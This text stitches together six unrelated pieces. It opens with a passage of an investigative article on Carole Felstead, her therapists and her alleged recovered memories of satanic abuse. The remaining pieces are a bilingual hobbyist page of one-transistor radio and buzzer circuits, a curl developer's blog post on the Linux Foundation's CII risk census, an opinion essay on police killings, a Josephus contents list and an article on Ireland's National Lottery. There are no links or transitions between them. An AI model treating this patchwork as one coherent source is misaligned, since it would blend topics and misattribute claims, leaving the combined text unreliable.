Association. She speaks with the all the authority that such a position suggests. Sometimes confident, sometimes wary, sometimes maudlin and resigned, she actually has good reason to fear the Felsteads. After discovering she'd taken Carole's possessions, they reported her to the GMC and the police. Neither found sufficient evidence to act against her.  Fisher admits she had no legal claim to be Carole's "next of kin", but denies the Felsteads' accusations that she stole her property. She emptied the flat, she says, because the property managers were demanding it. As she cleared up, she found the letter from Richard. "Honourably, I gave it to the police," she says. "Otherwise the family would never have known. Never, never, never!" The clearout happened on 7 July 2005, a date, of course, that became known as 7/7. The terrorist explosions crippled the public transport network, which is why she needed to take Carole's car to get home. It was soon returned to London.  I ask why she phoned Richard on the day the Felsteads were informed of the death. She did so, she says, because the coroner mentioned how crushed he'd sounded. "Concern for somebody else's distress sometimes overcomes you," she says. "I was foolish. Unwise."  Ironically, it was her discovery of Richard's letter that led to the funeral's cancellation. Was she upset when she heard it had been halted? "You can't even imagine," she says. "I just screamed and screamed."  Finally, we get to the question of whether Carole's memories of satanic abuse were recovered. Initially Fisher refuses to speak about Carole. "I have a duty of confidentiality, even after a patient has died. I was never her psychiatrist or psychotherapist or anything like that." She raises her voice. "I'm not a psychotherapist, for God's sake!"  "According to her medical notes, she saw you for counselling," I say.  "No."  "I have the letter here, dated 27 November 1986, that says: 'She required to see Dr Fisher for psychosexual counselling.'"  There's a silence. "Psychosexual is the wrong term," she says.  "What's the correct term?"  "Uh, I really don't know. People come and tell you things that have happened to them."  "Things like abuse?"  "Things that have happened to them," she repeats, crossly. "I'm not saying anything else. It's not right that this woman's privacy should be breached in this way." She's shouting now. "She's dead! She's goddamned dead!"  Was she ever worried that Carole had lapsed into fantasy? "Never," she says.  By 1997, I tell her, Carole was claiming a government minister had raped her with a claw hammer in Conservative Central Office. "That's not something I knew about," she says. "It may have been fantasy. I couldn't say. In general she was a common-sense woman."  "Are you aware of any evidence that any of Carole's claims actually happened?"  "I never looked for any evidence."  "Then what made you believe her?"  "She's not the only patient I've had who told the same kinds of stories."  "About ritual abuse?"  "It turned out to be that, yes. The people didn't remember at first. They weren't aware. They were memories they'd had a long time and they just came out."  And that, I decide, is as close as I'm going to get. Before I ring off, I ask Fisher what Carole was like. "She was a feisty, brave, intelligent woman. She was funny. A good laugh." And then, softly at first, she starts crying.  Finally, I seek advice from Dr Trevor Turner, a consultant psychiatrist at St Bartholomew's Hospital in London. A former vice president of the Royal College of Psychiatry, Turner is an expert in schizophrenia. I wanted to speak with Turner because I've heard that delusions and paranoias like the ones Carole suffered are a common facet of the condition. Turner confirms this, adding: "Another thing that's a part of the schizophrenic illness syndrome is the idea that your body has been interfered with," he tells me. Carole's slow withdrawal from the family, it turns out, is also typical. "If you're thinking things are being done to you, you blame those around you," he says. "Families of people who have got schizophrenia are commonly accused of things by the patient."  Assuming that Carole was suffering from schizophrenia, I wonder what effect it might have had on her, having therapists validate her darkest delusions. What would it be like for a paranoid psychotic to have it confirmed that, yes, there really are satanists out there, trying to get you? "Absolutely terrifying," he says. "It's highly likely it would make it worse."  A week later I ask Sinason if Carole was the patient she'd described, with the limp. She denies this and refuses to answer questions about her, citing confidentiality. Despite the medical records, she insists she never treated Carole, admitting only to having seen her as part of a study into ritual abuse for the Department of Health. I put it to her that telling a patient with paranoid delusions that her fears are real would be extremely dangerous. "It would cause real damage," she concedes, but denies doing this. "The purpose of therapy," she says, "is not to act as judge or jury."  On 21 June 2005, after years of silence, Carole unexpectedly phoned her brother Richard, saying she was lonely and wanted to move back to the family in Stockport. Just over a week later, she died. That same day, Richard wrote the letter discovered by Dr Fisher that triggered the family's search for truth. He recounted the latest news – about his business, his brothers, his dad's heart attack – and finished with a flourish that, in retrospect, seems haunting and prescient. "One shouldn't maintain too great a distance," he wrote, "as once the moment is gone, it is gone."  Find more information at justiceforcarol.com or bfms.org.uk
-9 projects with 1 transistor  Everyday I receive one or two E-mail letter from the reader of my homepage. I understood that the easy projects of my homepage is loved better than the big one of my homepage. Therefore I made nine new projects and inform you about them. I used the usual parts on the projects. You can use any type of output transformer made for the transistor. You can use a 12V power supply of 9V battery for all projects. But only NO.5 " CUP BUZZER " is used with 3V battery.  1.INTER PHONE  I do not know how it is called in the USA. In Japan "Inter phone" means an electric communicater used inside of the house. See the circuit ! This is a transformer output transistor amplifier. Instead of the microphone , a speaker and the transformer is used. If you have a dynamic microphone, connect it to the 10 uF capacitor. Power output of this machine is 10mW. Yes it is very small. You can use it on the quiet room. If you set the speaker on the child's room and set the microphone on the living room, you can call your child from your living room.  My met friend MIke McCarty teached me as follows,  What you called an "interphone" is in English called an "intercom", which is short for "inter communications"  2.MW RADIO  If you connect the Diode radio before the audio amplifier , it becomes one transistor radio. You may use the poli variable capacitor for the VC. You may use the bar antenna for the T1. I used a 455kHz IFT for the T1. The copacitor of it is broken. I adjusted the capacitor and I could hear the local broadcasting station with 20pF of VC. The power output of this machine is very small. You had better use the head phone. But on the quiet room , you can hear with the speaker. This radio has not so good sensitivity. Therefore you must joint very long antenna for it. I used my 40m long wire antenna.  3.BUZZER  If you connect the output to input of the amplifier , that becomes the oscillator. You must joint reverse phase of the output transformer to input of the amplifier. The tone is changed by the connecting capacitor. C = 0.1 mycro farad , tone = 4kHz. C = 0.47 mycro farad , tone = 800Hz. C = 4.7 mycro farad , tone = 80Hz. This is broking oscillator. See the shape of the signal, if you have an oscilloscope ! Set the power switch on the wall beside the entrance door on your house ! Set the speaker on the kitchen room ! It is a usual usage of the bell. But the sound of this machine is very small , therefore you will not be able to hear it, while you watch the TV.  4.MORSE TRAINER  The circuit of this project is the same as it of the buzzer. Connect the Morse key instead of the power switch. It becomes the trainer of the Morse code. Use it with your friends! Learn the Morse code! Make contact with me by the 21MHz or 7MHz CW !  5.CUP BUZZER  All the Japanese electric child made the buzzer to know the water level of the bath. But it becomes automatically in these days. I wanted to make a bath buzzer. But the sound was too small to hear on the another room. Therefore I decided to call this project as a " Cup buzzer". If you cut the base bias circuit on the oscillator , the oscillate is stopped. Make a pair of terminal on the bias circuit! If the water comes between the terminals, small current flows between them. Then oscillation begins. Do not use the 100V AC to the power supply of this projects! If the power supply gets wet, you may get an electric shock. It may kill you. You must use a 3V or 9V battery for this project.  6.ELECTRIC MUSIC INSTRUMENT  If you joint the variable resister on the feedback line of the buzzer oscillator, the oscillating frequency is changed by the resistor. It becomes an electric music instrument. I could play a short program with this gear. It will be joyful machine ,if you make case for this circuit. Tone shall be written on the panel of the case.  7.NOODLE TIMER  If you make the long time charger for the base bias of the buzzer oscillator, it becomes a timer of 3 minutes. On the timing of power off, the timing capacitor must be reset with discharging circuit. Timing constant is changed by the C=1200uF or R=470k. It is useful.  In Japan, we like Cheinese noodle very much. We call it " Rahmyen " .  8.CW TRANSMITTER  Replace the transformer of the buzzer with the coil and capacitor! Add the crystal in order to make crystal oscillator! Insert the Morse key between the power supply and the circuit! It becomes the Morse transmitter. The power output of this machine is 10mW. It is QRP. But it can be used. You can change the frequency of this machine for 7MHz or 10.15MHz. You will be able to use it as the transmitter of amateur radio.  9.HF AM TRANSMITTER Joint the speaker as the microphone on the base of the CW oscillator. It becomes the base modulated amplitude modulated transmitter. The modulation rate of this machine is 10%. I heard the signal of this machine on the next room of my house. The signal strength is 9. But readability was 4.  １石式電子回路の９例の紹介  私のＥメールの受信箱には毎日１ないし２通の方から、このホームページに関しての感想のお便りが届きます。どうやら、簡単な１ないし２石の製作例の物が、読者の方々の創作意欲をかきたて、興味をひいている様です。そこで、きわめて簡単な、トランジスターを一つだけ使った、製作例を新たに試作して、紹介します。９例になりました。出来るだけ入手の易しい一般的な部品で作ってあります。トランスは、トランジスター用出力トランスなら何でもＯＫ。例えば、ＳＴ３２（１．２ｋ：８）でもよいでしょう。電源は１２Ｖの安定化電源または９Ｖの００６ＰでもＯＫです。ただし、５番のコップブザーだけは、乾電池２個の３ＶでもＯＫを確認しました。実態図は１番のインターホンだけかきました。他はそれに習ってください。気に入ったら、プラスチックのお弁当箱にでも入れて使ってください。  １．インターホン  回路図をご覧ください。普通のトランス入出力のトランジスタ電力増幅器です。ベタアース基板の上に四つめ基板を切って貼り付けて、これに部品を半田で付けて構成してゆきます。トランスの使わない中間タップは切ってしまいます。入力にはマイクの代わりにスピーカーを使用してこれをトランスで昇圧しています。ダイナミックマイクをお持ちなら、それを１０μのコンデンサーにつなげてもＯＫです。本機の回路図の中の、スピーカーだけを子機として、家の中の子供部屋等に取り付け、他の部分を電池を含めて、親機として、例えば台所に置いておけば、子供の呼び出しに使えるインターホンになります。ただし出力は１０ｍＷ程度と小さいので、静かなお部屋でしか使えない物です。  １Oct９９追記：マイクマッカーチィさんによると、インターホンはアメリカではインターコムというそうです。  ２．中波ラジオ  低周波増幅器の入力にマイクでなくて、ゲルマニウムラジオを付けると、一石式のラジオになります。トランスの出力は小さいので。ヘッドホンで聞きましょう。静かな部屋ならスピーカーも鳴らす事ができます。ＶＣとＴ１は、中波受信機用のポリバリコンとバーアンテナを用意するのが簡単です。私は、Ｔ１には４５５ｋ用のＩＦＴを使い、底のチタバリコンを破壊して使用し、近所のＩＢＳ（茨城放送土浦支局１４５８ｋＨｚ）が聞こえる様に、Ｃ１をシグナルジェネレーターを使って、固定コンデンサーを取り替えて調節し、２０ｐＦでＩＢＳに同調しました。このラジオは感度が悪いので、立派な外部アンテナを必要とします。私は１．９ＭＨｚ用に立てた４０ｍのロングワイヤーアンテナを使って受信しました。  ３．ブザー  増幅器の出力を入力に逆位相で戻してやれば、発振器になります。もし組んでみて、発振しなかったら、位相を逆にする為に、トランスの出力側の引きだし線を逆にしてみましょう。コンデンサーＣに０．１マイクロファラッドを使うと出力周波数は４ｋＨｚでピーという音でした。０．４７μでは、８００Ｈｚのプーという音色でした。４．７μでは、８０Ｈｚのブーという音です。オッシロスコープで波形を見ると、ブロッキング波形になっています。本機は、電源スイッチを回路本体から取り出して、別の遠い場所に置けば、呼び鈴として、使用できます。たとえば、家の玄関にスイッチを置いて、台所にスピーカーを置けば、一番一般的なブザーの使い方になります。ただし、音が小さいので、テレビが付いていると聞こえないかもしれません。  ４．モールス練習機  ブザーと同じ回路ですが、呼び鈴スイッチの代わりに、モールスキーを接続すれば、モールス練習機になります。キーを押すと、スピーカーがピピーと鳴ります。２人で、一人がキーを押して、送信し、もう一人が聞き取りの練習をします。あるいは、テープレコーダーを使えば、一人で送信と受信の練習ができます。ぜひこういう機械でモールスを覚えて７ＭＨｚでＱＲＰ交信を私としましょう。  ５．コップブザー  私を含め、多くの電気少年達は、「風呂ブザー」を作ったものでした。今では、お風呂も自動化されてしまい、一定温度のお湯が一定量だけスイッチ一つでセットされる、便利な世の中になりました。フロブザーを作りたかったのですが、音が余りにも小さくて、風呂の水音にかき消されてしまうので、「コップブザー」となりました。「コップの水位を計ってもしょうがない。」とおっしゃるでしょう。その通りです。ＨＩＨＩ。帰還発振器のベースバイアスを切って、ここに端子を入れて、この端子間が水で濡れると、わずかな電流が流れて、バイアス電流が流れ、発振が始まります。端子はビニールコードを剥（む）いて、水にいれてやるだけで十分実験になります。本機を実用される場合には、家庭用電源を電源とすると、それが水に濡れて、感電する危険があります。「フロブザー」はあくまでも、電池で使ってください。  ６．電子楽器  ブザーの回路で、帰還コンデンサー０．１μの代わりに、コンデンサー０．１μと１ｋオームの可変抵抗を取り付けると、発生する音程が変えられます。この回路で、大体１．２ｋＨｚから２．４ｋＨＺまで、変えられました。２倍の周波数の変化は１オクターブに相当します。私は、ボリュームを回して、「ぽぽぽ、はとぽっぽ」を演奏しました。ちゃんと箱に入れて、図の様にドレミを書き込むとそれらしい電子楽器になるでしょう。それにしても、なぜいつも「はとぽっぽ」なんでしょうか。  ７．ラーメンタイマー  ブザー発振器のバイアス回路に時定数を持たせると、電源ＯＮから３分間でブザーが鳴り出す、「ラーメンタイマー」が作れます。ＬＥＤと抵抗で２Ｖの定電圧回路が構成されています。この２ＶでＣ＝１２００μのコンデンサーを充電してやると、スイッチ投入から次第にコンデンサーの端子電圧が上がってゆき、ここが０．６Ｖを超えた時に、トランジスターが動作可能になって、発振がはじまります。電源スイッチに２回路の物を使用して、残りの１回路で、電源ＯＦＦと同時に時間コンデンサーを放電させて、タイマーをリセットします。時定数はコンデンサーＣでも、又Ｒ＝４７０ｋを変更しても調整できます。これは使えます。  ８．ＣＷ無線送信機  最初の低周波増幅器の回路のトランスの所に同調回路を入れて、その同調回路の周波数にあった水晶をコレクタとエミッターの間に入れてやると、水晶発振器になります。これの電源をモールスキーでＯＮ−ＯＦＦさせると、発振信号が断続されて、ＣＷ送信機と成ります。日本では、この様な発振器自体をＯＮ−ＯＦＦする形式のＣＷ送信機は、その送信電波の質がよろしくないという理由から認可されないので、正式なアマチュア無線送信機としては、使用出来ません。あくまで、実験用の物としてお試しください。ですから、アンテナはつながずに、ダミーロードをつないで、漏れでた電波を、ＢＦＯの付いた短波受信機で受信します。これでもチャントしたアンテナが受信側につながっていれば、１００ｍは楽に送信可能です。同じ町内の友達と交信が可能です。また、モールス練習機としても、無線でやると感じが出てやる気になれると思います。尚、ＯＺＬ９というコイルに関しては、私のホームページのスモールヒントの項目をご覧ください。  ９．短波振幅変調送信機  先ほどの、ＣＷ送信機に音声で変調をかけてやれば、ＡＭ送信機ができます。この場合、変調増幅器を作って、発振器の電源を変調してあげれば、強電力変調回路となって、きれいな変調波が得られるのですが、１石式という制約から、ベースに変調をかけています。マイク代わりのスピーカーの信号をトランスで昇圧して、ベースに加えています。実測の変調度は１０％程度でした。隣の部屋の受信機で聞くと、なにぶん１０％変調ですので、信号が強い割には、内容は「やっと何を言っているかが、判る程度」でした。マイク代わりのスピーカーに向かって、まるで劇場俳優の様に大きな声ではっきりと発音してください。もっと大きな声で！！！そんなに、大きな声を出したら、隣の部屋に直接聞こえてしまうって、ごもっとも。ラジオをかかえて布団に潜って実験してください。  back to index
-As a reaction to the whole Heartbleed thing two years ago, The Linux Foundation started its Core Infrastructure Initiative (CII for short) with the intention to help track down well used but still poorly maintained projects or at least detect which projects that might need help. Where the next Heartbleed might occur.  A bunch of companies putting in money to improve projects that need help. Sounds almost like a fairy tale to me!  Census  In order to identify which projects to help, they run their Census Project: “The Census represents CII’s current view of the open source ecosystem and which projects are at risk.”  The Census automatically extracts a lot of different meta data about open source projects in order to deduce a “Risk Index” for each project. Once you’ve assembled such a great data trove for a busload of projects, you can sort them all based on that risk index number and then you basically end up with a list of projects in a priority order that you can go through and throw code at. Or however they deem the help should be offered.  Which projects will fail?  The old blog post How you know your Free or Open Source Software Project is doomed to FAIL provides such a way, but it isn’t that easy to follow programmatically. The foundation has its own 88 page white paper detailing its methods and algorithm.  Risk Index  A project without a web site gets a point  If the project has had four or more CVEs (publicly disclosed security vulnerabilities) since 2010, it receives 3 points and if fewer than four there’s a diminishing scale.  The number of contributors the last 12 months is a rather heavy factor, which thus could make the index grow old fairly quick. 3 contributors still give 4 points.  Popular packages based on Debian’s popcon get points.  If the project’s main language is C or C++, it gets two points.  Network “exposed” projects get points.  some additional details like dependencies and how many outstanding patches not accepted upstream that exist  All combined, this grades projects’ “risk” between 0 and 15.  Not high enough resolution  Assuming that a larger number of CVEs means anything bad is just wrong. Even the most careful and active projects can potentially have large amounts of CVEs. It means they disclose what they find and that people are actually reviewing code, finding problems and are reporting problems. All good things.  Sure, security problems are not good but the absence of CVEs in a project doesn’t say that the project is one bit more secure. It could just mean that nobody ever looked closely enough or that the project doesn’t deal with responsible disclosure of the problems.  When I look through the projects they have right now, I get the feeling the resolution (0-15) is too low and they’ve shied away from more aggressively handing out penalty based on factors we all recognize in abandoned/dead projects (some of which are decently specified in Tom Calloway’s blog post mentioned above).  The result being that the projects get a score that is mostly based on what kind of project it is.  But this said, they have several improvements to their algorithm already suggested in their issue tracker. I firmly believe this will improve over time.  The riskiest ?  The top three projects, the only ones that scores 13 right now are expat, procmail and unzip. All of them really small projects (source code wise) that have been around since a very long time.  curl, being the project I of course look out for, scores a 9: many CVEs (3), written in C (2), network exposure (2), 5+ apps depend on it (2). Seriously, based on these factors, how would you say the project is situated?  In the sorted list with a little over 400 projects, curl is rated #73 (at the time of this writing at least). Just after reportbug but before libattr1. [curl summary – which is mentioning a very old curl release]  But the list of projects mysteriously lack many projects. Like I couldn’t find neither c-ares nor libssh2. They may not be super big, but they’re used by a bunch of smaller and bigger projects at least, including curl itself.  The full list of projects, their meta-data and scores are hosted in their repository on github.  Benefits for projects near me  I can see how projects in my own backyard have gotten some good out of this effort.  I’ve received some really great bug reports and gotten handed security problems in curl by an individual who did his digging funded by this project.  I’ve seen how the foundation sponsored a test suite for c-ares since the project lacked one. Now it doesn’t anymore!  Badges!  In addition to that, the Linux Foundation has also just launched the CII Best Practices Badge Program, to allow open source projects to fill in a bunch of questions and if meeting enough requirements, they will get a “badge” to boast to the world as a “well run project” that meets current open source project best practices.  I’ve joined their mailing list and provided some of my thoughts on the current set of questions, as I consider a few of them to be, well, lets call them “less than optimal”. But then again, which project doesn’t have bugs? We can fix them!  curl is just now marked as “100% compliance” with all the best practices listed. I hope to be able to keep it like that even with future and more best practices added.
-In Killing Them Softly, comedian Dave Chappelle explained how fearful he was to call the police when someone broke into his house. Now why would someone in a free country like America be afraid to call the police to their own home if they were the victim?  Although a modest home, the house was too nice, Chappelle joked, “and they’d never believe I lived there.” He then imitated a white officer attacking him and sprinkling crack cocaine on his Black body as a cover-up.  While that fear and scenario may seem strange to some, the reality of police terror is all too familiar to Black folk and other oppressed peoples in the United States. Yet many remain unconvinced that police brutality plagues our society due to their own biases. Skeptics argue reports of police brutality are exaggerated and sensationalized, and extreme force is justified to control crime. The lack of ‘evidence,’ or complete national statistics also makes this epidemic hard to prove.  Long before Michael Brown’s body was left for hours to bleed dry on the streets of Ferguson, Missouri, Black people rang the alarm on racial profiling, the increased militarization of law enforcement, and being “staggered by the winds of police brutality” as Black bodies swung on trees like strange fruit.  Due to protests surrounding the August shooting by Ferguson Police Officer Darren Wilson, and the subsequent heavy-handed response by paramilitary police, issues of racial profiling and police terrorism have re-entered the national debate in a way not seen since the filmed beating of Rodney King by LAPD in 1991.  Police Brutality: From Denzil Dowell to Michael Brown  The Black Panther Party (for Self-Defense) formed in Oakland in 1966 in response to police repression. The Panthers demanded an “We Want An Immediate End To Police Brutality And Murder Of Black People.” The first issue of The Black Panther newspaper featured an investigation into the killing of Denzil Dowell by deputies in North Richmond. Oakland Police have shot and killed other young Black men like Lil Bobby Hutton (1968), Melvin Black (1979), Gary King, Jr. (2007). In Berkeley, police killed Black women like Anita Gay (2008) and Kayla Moore (2013). Earlier this year, two recent Black UC Berkeley graduates were attacked simply for “walking while Black.”  After Hurricane Katrina, New Orleans Police officers shot and killed survivors seeking food, shelter and water.  On January 1, 2008, Oscar Grant was shot in the back by BART police officer Johannes Mehserle while he laid face down on the Fruitvale BART platform. If it not for fellow passengers watching the cops with their camera phones – and the film Fruitvale Station – we might not know Oscar Grant’s name. Without massive protests, Mehserle would never have been arrested. Two other Black men – Adolph Grimes or Robbie Tolan – were attacked within 24 hours of Oscar, but their stories are less known, though no less important.  The groom Sean Bell was shot by undercover New York cops the night before his wedding. Seven-year-old Aiyanna Jones was shot in the head during a “no-knock” warrant at the wrong home in Detroit, during filming of First 48. And Atlanta police shot and killed 92-year-old grandmother Kathryn Johnson during a botched drug raid.  There are countless other Stolen Lives whose names we do not know.  The recent assassination of Michael Brown by was no isolated incident. Weeks before, NYPD – of “stop and frisk” fame – choked Eric Garner to death with his dying words: “I can’t breathe.” His filmed execution looked like a scene from Spike Lee’s Do the Right Thing. Days earlier, police in Ohio killed John Crawford inside a suburban Wal-Mart for holding a BB gun he’d picked up on a shelf inside the same store.  And just as the Richmond, California police department was touted for having no fatal officer-involved shootings since 2007, police shot and killed unarmed Richard Perez, III in September.  It’s not an exaggeration when activists charge genocide. Again. With all the recent media attention police brutality, you may wonder: is police brutality really on the rise or if communications technology has made documenting police use of force easier.  ‘Operation Ghetto Storm’  In her book, No Doubt: The Murders of Oscar Grant, journalist Thandisizwe Chimurenga notes that despite the prevalence of state-sanctioned violence, data on police killings is incomplete.  The Stolen Lives project does exist, but has not been updated since 2007. There is also a Wikipedia “List of killings by law enforcement in the United States.”  While we ask, “How many Black Boys have to Die?” we must also ask: How many people are killed, tased or attacked by police every year and why?  Following the murder of Trayvon Martin by self-appointed neighborhood watchman George Zimmerman, in 2013 the Malcolm X Grassroots Movement (MXGM) released the groundbreaking report: “Operation Ghetto Storm: 2012 Annual Report on the Extrajudicial Killing of 313 Black People.” The report reveals the “deadly impact of systemic racism in the U.S.” and uses investigative journalism to contextualize the shootings, often justified by police and the stenographers posing as journalists who parrot them.  “Every 28 hours in 2012 someone employed or protected by the US government killed a Black man, woman, or child!” the MXGM report begins. These “outrageous rates of extrajudicial killings” would be condemned elsewhere in the world. “The same outrage inside the U.S. also demands immediate action.” This report only covered the year 2012.  The MXGM report was recently bolstered when public interest investigative journalism organization ProPublica published a staggering multi-year analysis of the deadly force in the United States, in black and white.  Analyzing federally collected data on police shootings, journalists found the likelihood of young Black males being shot by police was 21 times greater than for their white counterparts. The analysis of who gets killed, by whom, and for what purported reasons suggest police in the United States are still at war against Black America. However, the federal data leaves much to be desired. Absent a national police force, there are over 17,000 police agencies in the United States. Many never file the voluntary reports and many do so inconsistently. Thus, the FBI data is incomplete at best, flawed at worse. The data we have only shows the minimum.  ‘Post-Racial’ Horrors  MXGM’s effort is not without precedent. Pioneering journalist Ida B. Wells-Barnett crusaded against extra-legal violence at the turn of the 20th century. In 1892, she published the pamphlet, “Southern Horrors: Lynch Law in All Its Phases.” She documented the atrocities as she debunked the lies used to justify the lynching of Black men.  The Chicago Tribune and the Tuskegee Institute soon followed with their own annual tabulations of lynching statistics. In 1895, Wells published “The Red Record: Tabulated Statistics and Alleged Causes of Lynchings in the United States,” using the Tribune statistics and additional field reporting to uncover the truths behind lynch law.  When asked by friends how they could stop the shootings, hangings, and torture Black people, Wells always answered: “Tell the world the facts.”  While data on the deaths of fallen officers is readily available, no reliable and valid federal data exists documenting use of force by those officers have sworn to protect and serve.  The grassroots activism of Wells, the October 22 Movement, MXGM, and regular people–who under imminent danger film police–demonstrate the need for reliable quantitative and qualitative data.  Assessing the Damage  There are national statistics for car accidents, shark attacks, sexual assaults – albeit poorly investigated and enforced – and even the number of pigs living on this nation’s farms, yet no one knows how often police shoot people each year. And we know even less about other uses of force, like phone book interrogations, Taserings, and beatings like that of Marlene Pinnock by a California Highway Patrol officer this summer are routinely swept under the rug. Police terrorism is not a case of a few bad apples, but systemic dehumanization.  Having accurate data on police use of force could answer frequently asked questions: How often does use of force occur and where? Exactly how often do police shoot unarmed Black men? Which weapons were used and under what circumstances? More importantly, what can be done to eliminate officer-involved shootings and reduce use of force? Not to mention ways we can maintain officer safety, as well as restore trust in law enforcement?  Attorney General Eric Holder’s civil rights investigation into Ferguson must be expanded. The White House inquiry into police receiving more military-gear weapons is important. So is the need for more comprehensive data.  Hopefully, police and their supports will welcome this opportunity to increase trust. Children shouldn’t need bulletproof vests!  Local police forces should be required to report use of force opposed to voluntary submissions. In those cases where local police receive federal funds compliance should be mandatory. If Los Angeles School police want to keep those grenade launchers and rifles, they have to report. Those departments that fail to comply should be disarmed and disbanded. Compliance could require congressional action, but it is well warranted.  Many of the many police agencies are small and may lack capacity to collect and report data, but leveraging the resources of academic and research institutions could alleviate this obstacle. Research groups do exist, like the Police Executive Research Forum, and the libertarian Cato Institute’s National Police Misconduct Reporting Project. Similar efforts have been attempted, but depend on media reports as sources, which often legitimate police violence.  Instead of not reporting use of force, we hope law enforcement would not have any use of force encounters to report. Open data on police use of force is not the cure, but one step towards eliminating violence in our society, improving public health, and protecting human rights.  If they gun me down today and sprinkle crack on me tonight, they may come for you in the morning.  And no one would even know.  Rasheed Shabazz is the author of “Police the Police: Melvin Black, Oscar Grant, and the Struggle for Civilian Oversight of Police in Oakland, California, 1979-2009.”
-The Works  of  Flavius Josephus Translated by  William Whiston  Antiquities of the Jews  Preface to the Antiquities of the Jews  Book I -- From Creation to the Death of Isaac  Book II -- From the Death of Isaac to the Exodus out of Egypt  Book III -- From the Exodus out of Egypt to the Rejection of the Generation  Book IV -- From the Rejection of that Generation to the Death of Moses  Book V -- From the Death of Moses to the Death of Eli  Book VI -- From the Death of Eli to the Death of Saul  Book VII -- From the Death of Saul to the Death of David  Book VIII -- From the Death of David to the Death of Ahab  Book IX -- From the Death of Ahab to the Captivity of the Ten Tribes  Book X -- From the Captivity of the Ten Tribes to the First Year of Cyrus  Book XI -- From the First Year of Cyrus to the Death of Alexander the Great  Book XII -- From the Death of Alexander the Great to the Death of Judas Maccabeus  Book XIII -- From the Death of Judas Maccabeus to the Death of Queen Alexandra  Book XIV -- From the Death of Queen Alexandra to the Death of Antigonus  Book XV -- From the Death of Antigonus to the Finishing of the Temple by Herod  Book XVI -- From the Finishing of the Temple by Herod to the Death of Alexander and Aristobulus  Book XVII -- From the Death of Alexander and Aristobulus to the Banishment of Archelaus  Book XVIII -- From the Banishment of Archelaus to the Departure of the Jews from Babylon  Book XIX -- From the Departure of the Jews from Babylon to FAdus the Roman Procurator  Book XX -- From Fadus the Procurator to Florus  War of the Jews  Preface to the War of the Jews  Book I -- From the Taking of Jerusalem by Antiochus Epiphanes to the Death of Herod the Great  Book II -- From the Death of Herod till Vespasian was sent to subdue the Jews by Nero  Book III -- From Vespasian's coming to Subdue the Jews to the Taking of Gamala  Book IV -- From the Siege of Gamala to the Coming of Titus to besiege Jerusalem  Book V -- From the Coming of Titus to besiege Jerusalem to the Great Extremity to which the Jews were reduced  Book VI -- From the Great Extremity to which the Jews were reduced to the taking of Jerusalem by Titus  Book VII -- From the Taking of Jerusalem by Titus to the Sedition of the Jews at Cyrene  Flavius Josephus Against Apion  Book I  Book II  Edited by the hard working men and women at  Sage Software
-National Lottery Region Republic of Ireland First draw 23 March 1987 Operator Premier Lotteries Ireland Chief executive Dermot Griffin Legislation National Lottery Act, 1986  National Lottery Act, 2013 Highest jackpot €18.9m (28 June 2008) Number of games 6 Shown on RTÉ One Website lottery.ie  The National Lottery (Irish: An Crannchur Náisiúnta) is the state lottery of Republic of Ireland. It was created when the Republic of Ireland government passed the National Lottery Act, 1986 to help raise funds for good causes. The eligible causes are sport and recreation, health and welfare, national heritage and the arts, the Irish language, and the natural environment.In 2005, at the E.U. gaming convention in Gent, Belgium, E.U. Legislation was passed prohibiting Irish residents playing any Irish National Lottery games while abroad in any E.U member state. This includes Tenerife.  National Lottery gaming operations began on 23 March 1987 with scratchcards, and the flagship drawing game, Lotto, began in March 1988. The National Lottery now operates three families of drawing games (Lotto, EuroMillions, and Daily Million), funds televised bingo and game shows, sells a wide range of scratchcards, and runs a number of Millionaire Raffles each year. National Lottery games are available online as well as through a network of over 3,700 retail agents nationwide.  By the end of 2013, the National Lottery had achieved over €12 billion in cumulative sales, had paid out €6.7 billion in prizes, and had raised €4.4 billion for the good causes it supports.[1] In 2011, 2.2 million Irish people (64 percent of the adult population) reported playing National Lottery games, with 1.5 million (42 percent) reporting that they played weekly.[2]  In 2013, due to a financial crisis that had left the Irish state running a large budget deficit, the Irish government agreed to sell the National Lottery licence for 20 years to a private operator, Premier Lotteries Ireland. The new operator took ownership of the licence on 27 February 2014. The government is receiving €405 million from the sale, some of which will finance the construction of a new National Children's Hospital.  Administration [ edit ]  From its inception until 27 February 2014, the National Lottery was operated under licence by the An Post National Lottery Company (Irish: Comhlacht Chrannchur Náisiúnta An Post), which was 80 percent owned by Ireland's state-owned postal services provider An Post and 20 percent by the Minister for Public Expenditure and Reform.[2]  In 2011, in response to Ireland's financial crisis, the government included the National Lottery licence on a list of state assets that could be sold to assist the public finances.[3] In April 2012, the government announced that it would sell the National Lottery licence for a period of 20 years for an upfront payment, while ensuring that 30 percent of lottery sales would still go to fund its designated good causes.[4] The licence was valued at between €200 and €600 million, with some estimates putting its value in the region of €500 million.[5][6]  In May 2013, the Irish government enacted the National Lottery Act 2013 to allow for the sale of the National Lottery licence, provide for the establishment of a new independent lottery regulator, and eliminate some restrictions on Internet gambling to allow for the growth of online lottery sales.[7] The legislation also added the natural environment to the list of good causes eligible to receive lottery funding.[8]  On 3 October 2013, Minister Howlin announced that the government had agreed to sell the National Lottery licence for €405 million to Premier Lotteries Ireland, a consortium comprising An Post, An Post pension funds, and the Ontario Teachers' Pension Plan (owner of the Camelot Group, operators of the UK National Lottery).[9] Dermot Griffin, head of the An Post National Lottery Company since 2006, was appointed chief executive of Premier Lotteries Ireland. Other existing senior management were also retained. Executives from the Camelot Group, the Ontario Teachers’ Pension Plan, and An Post were appointed to the board of the new company.[10]  The process of finalizing the lottery contracts was delayed due to an industrial dispute involving the employees of An Post National Lottery Company over the terms and conditions of staff transfers to Premier Lotteries Ireland, but the dispute was resolved in February 2014,[11] and contracts were signed on 27 February 2014. Some of the funds paid to the Irish state will be used for a range of local infrastructural projects, including the construction of a National Children's Hospital.[12]  Games [ edit ]  The National Lottery began gaming operations on 23 March 1987, when it launched its first scratchcards. Since then, the National Lottery has expanded its product line to include the Lotto family of games, television bingo, televised game shows, regular "Millionaire Raffles," participation in the transnational EuroMillions lottery, and a daily €1 million game called Daily Million.  National Lottery tickets and scratchcards are sold by a network of over 3,700 agents around the country. In March 2009, the National Lottery began offering online sales of instant-win games, as well as key draw games such as Lotto and EuroMillions. Internet sales increased by 43 percent in 2012, to €8.7 million, with around 40,000 players registered to play games online.[13]  In 2012, total National Lottery sales were €734 million. A total of €406 million was distributed in prizes and €225 million was distributed to good causes.[13]  All cash prizes won in National Lottery games are paid as tax-free lump sums. All prizes in Lotto, EuroMillions, and Daily Million games must be claimed within 90 days of the applicable drawing dates. No minor under the age of 18 may purchase tickets for or claim prizes in any National Lottery game. Winners have the right to remain anonymous.  Lotto logo in use from 2008 